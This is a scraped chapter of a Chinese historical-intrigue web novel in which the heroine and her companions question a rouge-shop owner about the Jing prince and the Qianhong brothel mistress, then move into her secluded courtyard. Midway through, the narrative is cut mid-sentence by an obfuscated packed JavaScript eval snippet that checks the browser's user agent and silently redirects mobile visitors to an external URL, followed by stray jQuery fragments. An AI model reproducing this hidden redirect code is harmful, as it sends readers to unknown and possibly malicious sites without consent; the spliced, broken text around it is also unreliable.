阮星澈侧身让胭脂铺老板进了房间。
确认没有其他人跟踪后,她才将房门关了起来。
“你为何要帮我们?”
胭脂铺老板看了一眼纪沉涟和沐泽,“自从他们来过我店里以后,我便时刻关注着他们的行踪。在我发现他们也在调查黑金石时,我便意识到你们也是景王的敌人。”
纪沉涟走上前死死盯着她的眼睛,“也?”
“你既然在我面前提到千红楼主,想必已经猜得差不多了吧。”
听到她的话,他眯起眼睛,试图看穿她的内心。
可显然,她把自己包裹得很好。
“我们虽猜得差不多,可有些事情还需你自己说出口,否则我们无法相信你。”
那胭脂铺老板冲着纪沉涟浅浅一笑,“你这小郎君倒是有意思,小小年纪心思竟然如此深沉,可你怎么看不出来我的坦诚呢?”
说话间,她猛地靠近他。
纪沉涟被逼得后退几步,双腿碰到了床沿。
“你已经退无可退了。”
在她还想继续调戏他时,忽然发觉肩上多了一根银针,而她的身体已无法动弹。
阮星澈几步走到她面前,“既然想让我们相信你,就要拿出诚意来。你若躲闪着不肯说出口,我只能把你赶出去。”
胭脂铺老板盯着她,嘴角的笑意愈发浓烈,“哟,这是吃醋了?”
纪沉涟听到“吃醋”二字时,耳尖微微泛红。
闻言,阮星澈看向沐泽,“沐泽,咱们一起把她扔出去。”
看到他们靠近,那老板缓缓开了口:“你们若把我丢出去,我一定会把你们的行踪告诉李二狗兄弟的!”
“既然你也是景王的敌人,恐怕也不想落到李二狗兄弟手里吧。”
“你想同我鱼死网破?”
阮星澈冷静看着她,“共同合作还是鱼死网破,全看你如何选。”
那胭脂铺老板忽然浅笑几声,“我原以为那个小郎君是最不好对付的,现在发现原来你才是。”
“老板,谬赞了。”
说完以后,阮星澈便闭上了嘴,像是在等待着胭脂铺老板开口。
最终,那老板还是同意了合作,可她身上的银针却并未被拔去。
“把这银针拿走。”
“我从来没答应过老板要拿走银针,你就这样说吧。”
胭脂铺老板抬头瞪着她,“你!”
片刻后,她低下了头,讲起了她与千红楼主之间的故事。
千红楼主名叫梁与红,而她名叫吴子千,两人是梁玉城人。她们在京城相遇,成了好友,一同制了面容膏。靠着这面容膏,她们赚了钱还盘算着要开个胭脂铺。
可七年前的一天,千红楼主忽然拿到了一大笔钱,却不告诉那笔钱从哪里来,还说胭脂铺不开了,要改开青楼,她还说要用她们两人的名字来为这个青楼取名。
为此,二人争吵了许久,最后分道扬镳,一人留在京城,一人去了梁玉城。
听完故事后,阮星澈开口问道:“你这些年一直在调查那笔钱的来源?”
“没错,后来我终于知道了真相,原来她为了能赚更多的钱,成为了景王的手下,也成了千红楼主。”
“那你可知,她的一身武艺从何而来?”
吴子千抬头看着阮星澈,“你怎么知道她会武功?”
“因为我同她交过手,她的那身武艺不是一朝一夕就能学会的。”
“我只知她会武功,却不知道武功从何而来,反正自我们相遇时,她就已经学会了。”
阮星澈点点头,“看来,梁与红身上的秘密不少。”
“所以,黑金石的事也是她告诉景王的,对吗?”
“没错,我实在没想到她竟然将景王引来了梁玉城,从那时起,梁玉城就成了景王的天下。”
说到这,吴子千的眼中燃烧着怒火,“我眼睁睁看着梁玉城被他毁掉,却无能为力。”
“所以,你今日来是为了拯救梁玉城?”
“没错。”
阮星澈盯着她的眼睛,“可你怎么知道我们能做到呢?”
“因为,你们来自京城,不仅知道黑金石,还能瞒过景王手下的眼睛。”
话音落下,吴子千肩膀上的银针被拔出,她的身体终于回到了自己的掌控之中。
“娘子果然心善。”
阮星澈并未理会她的赞誉,继续开口道:“这些话你方才就可以说,为何要顾左右而言他?”
“因为,我还从未见过这么俊俏的小郎君呢。”
说完,她还朝纪沉涟抛了媚眼。
纪沉涟眉头紧锁,闭上了眼睛。
看到她又成了方才的模样,阮星澈无奈地叹了口气,“我们已见过你真实的模样,你不必在我们面前伪装。既然说要带我们去你那儿,那就快动身吧。”
吴子千轻哼一声,“姑娘,真是个爽快人,那我就在客栈门口的马车上等你们了。”
等吴子千离开后,凡玉仍是一脸困惑,“这个吴子千,怎么银针一拔就换了一副模样,真是奇怪。”
阮星澈一边收拾东西,一边说道:“她的话也不可尽信,不过至少她跟李二狗他们不是一伙儿的。”
“娘子,你的意思是那个吴子千还在撒谎?”
“行了,别纠结这些了,快回房间收拾东西吧,一会儿李二狗的人找来了,我们可就走不了了。”
话音落下,众人纷纷离开了阮星澈的房间。
纪沉涟是最后一个走的,他似乎有什么话想对她说,可是又放弃了。
阮星澈自然注意到了他的异常,心中暗下决心等去了住处以后要问清楚。
几人很快就出现
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17717987|206057||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
在了客栈门口。
看着孤零零的一驾马车,众人交换了眼神中,却都没有上车。
车里的人像是等得不耐烦了,一把掀开车帷,朝着几人说道:“快上车啊,还等什么呢?”
“怎么只有一驾马车啊,我们六个人要怎么挤得下!”
吴子千扫了一眼说话的凡玉,“你还以为这是京城呢,有马车坐就不错了,别在那挑三拣四的。”
听到她的话,凡玉心中涌起一股不满。她刚想开口,手臂却被旁边人轻轻拍了拍。
“凡玉,咱们快上吧。”
阮星澈率先上了车,凡玉不情不愿的跟了上去,沐泽和纪沉涟是最后上去的。
掀开车帘,车里已经不剩多少位置了。
沐泽挠了挠头,看了看身旁的纪沉涟,“我还是去车前面坐吧。”
待他离开后,吴子千拍了拍她身边的空位,“小郎君,你来这里。”
她冲纪沉涟挥着手,纪沉涟却眉头紧锁,袖子下的手也攥成了拳。
“不必了。”
他冷冷地撂下这一句,便坐到了阮星澈身边。
吴子千瞧着这二人,嘴角微微翘了起来,心中有了计较。
马车载着沉默的一车人,到了一处院子外。
吴子千指着院门说道:“这是我自己买下的小院子,地方偏僻,少有人来,景王的人绝对找不过来,你们就先将就住着吧。”
阮星澈同她道了谢,就拿着行李进了院子。
这座院子不大,屋子倒是不少,够他们五个人住。
吴子千并未跟着他们进去,“你们自己看吧,我就不进去了。哦对了,这几日你们就先别出来了,饭菜自会有人送来的。”
伴随着一声吱呀,院门被彻底关上了。
凡玉脸上浮起了一片担忧,“娘子,你说咱们不会中她的计了吧,我怎么感觉咱们像是被软禁起来了。”
郑业也应和道:“是啊,我总感觉那个吴子千不怀好意。”
沐泽并未说话,而是静静观察着周遭的环境。
阮星澈看了一眼院门,“咱们无需管她在想什么,至少我们不会被李二狗他们抓走了,至于其他的,我们过几天自然能知晓。”
她的话并不能让众人脸上的愁色褪去。
于是,她又开了口:“时候不早了,咱们快回屋休息吧,有什么事明天再说。”
待众人都回房间后,阮星澈敲响了纪沉涟的房门。
“你那时想对我说什么?”
纪沉涟盯着她的脸,却迟迟不曾开口。
“你是不是身体不舒服?”
阮星澈急忙抓起他的手腕,给他诊起了脉。
“我的确有些不适,但我知道缘由。”
“因为什么?”
纪沉涟的脸忽然凑近了一些,“因为,吴子千。”